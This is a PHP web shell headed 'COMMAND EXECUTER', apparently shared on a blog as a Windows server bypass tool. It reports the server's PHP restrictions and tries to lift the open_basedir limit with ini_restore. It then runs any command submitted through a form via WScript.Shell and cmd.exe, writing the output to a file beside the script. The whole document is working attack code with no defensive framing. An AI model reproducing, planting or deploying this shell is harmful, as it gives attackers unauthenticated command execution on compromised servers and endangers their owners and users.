Windows server bypass shell PHP - Phan Anh Buổi Sáng

<body bgcolor=black>
<center>COMMAND EXECUTER (CODED BY NEO)</center>
<div align="center"><center>
<table width="558" height="560" border="1" id="AutoNumber1">
<tr>
<td width="49%" height="158"><?php
//is safe mod on ? start
if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on")
{
$safe="ON";
}
else {$safe="OFF";}
echo "SAFE MOD IS :$safe ";
//open safe mod end--
?>


<?php
//is open basedir on ? start
$n = @ini_get('open_basedir');
if (!empty($n))
{
$base = @ini_restore("open_basedir");
}
else {$base="NONE";}
echo "OPEN_BASEDIR :$base ";
//open basedir end--
?>


<?php
//disable function start
echo "Disable functions : ";
if(''==($df=@ini_get('disable_functions'))){echo "NONE";}else{echo "$df";}
//disable function end--
?>

<?php
//phpver start
$phpver=phpversion();
echo "PHP Version :$phpver ";
//phpver end--
?>

<?php
//path of win
$dir = @getcwd();
echo "U'Re In :$dir ";
//end
?>

<?php
print "<form method=post>";
print "cmd:<input size=50 name='command' value=''>";
print " ";
print "file :<input size=50 name='file' value=''>";
print " ";
print "<input type=submit name=_act value='Execute!'>";
$post = $_POST['command'];
$file = $_POST['file'];
?>
<?php
$_file = new COM("WScript.Shell");
$_file ->Run('cmd.exe /c'.$post.' > '.dirname($_SERVER[SCRIPT_FILENAME]).'/'.$file.'');
?>